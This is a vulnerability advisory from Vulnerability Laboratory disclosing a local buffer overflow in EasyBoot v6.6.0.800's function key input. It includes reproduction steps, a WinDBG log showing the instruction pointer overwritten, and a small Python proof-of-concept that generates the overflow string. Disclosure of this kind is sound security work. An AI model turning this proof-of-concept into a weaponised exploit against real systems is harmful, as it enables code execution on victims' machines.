EasyBoot v6.6.0.800 - (Function Key) Buffer Overflow

Document Title:
===============
EasyBoot v6.6.0.800 - (Function Key) Buffer Overflow


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2155


Release Date:
=============
2018-10-15


Vulnerability Laboratory ID (VL-ID):
====================================
2155


Common Vulnerability Scoring System:
====================================
6.7


Vulnerability Class:
====================
Buffer Overflow


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
EasyBoot lets you design MultiBoot CDs and DVDs. The program automatically produces the required boot image files 
and creates an ISO file that you can burn with your burning program as an image.  EasyBoot is an integrated tool 
to create MultiBoot, Menu driven CDs & DVDs with native language. It has the ability to automatically produce boot 
image files, and generate the ISO file as well. Using your CD/DVD Recording software such as Nero or Roxio to 
Record the ISO, you get a bootable CD/DVD that completely belongs to you. 

(Copy of the Homepage: https://www.wintotal.de/download/easyboot/ & http://www.ezbsystems.com/easyboot/)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official EasyBoot v6.6.0.800 software application.


Vulnerability Disclosure Timeline:
==================================
2018-10-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
EZB Systems Inc
Product: EasyBoot - Boot Medium Software 6.6.0.800


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official EasyBoot v6.6.0.800 software application.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The vulnerability is located in the function key value input of the active directory on add. An attacker can 
manipulate the eip register in order to execute the next instruction of their choice. Attackers are able to for 
example execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the eip register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the local buffer overflow vulnerability is estimated as high with a cvss count of 6.7. 
Exploitation of the buffer overflow vulnerability requires a low privilege restricted system user account 
without user interaction. Successful exploitation of the vulnerability results in overwrite of the active 
registers to compromise of the computer system or process.

Vulnerable Module(s):
[+] Active Directory

Vulnerable Function(s):
[+] Add

Affected Input(s):
[+] function key


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Launch EasyBoot.exe                
2. Run the code in python and a file format (.txt) will create
3. Click on 'Diver' tab
4. open the file (.txt) and copy paste characters AAAAAAA+ .... in input 'function key'
5. Click on the 'Down' button
6. Software will crash with an access violation and other unhandled errors
7. Successful reproduce of the local buffer overflow vulnerability!



--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77066ccd esi=00000000 edi=00000000
eip=41414141 esp=0012ea30 ebp=0012ea50 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Note: EIP & ECX  overwritten



PoC: Exploit (Python)
#!/usr/bin/python    
buffer = "x41" * 25000
poc = buffer 
file = open("poc.txt","w")
file.write(poc)
file.close()
print "POC Created by ZwX"
print " Email: [email protected]"


Solution - Fix & Patch:
=======================
The solution could be to restrict and filter the number of characters on input of the function key input value.


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the function key input is estimated as high.


Credits & Authors:
==================
ZwX [[email protected]] - https://www.vulnerability-lab.com/show.php?user=ZwX


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™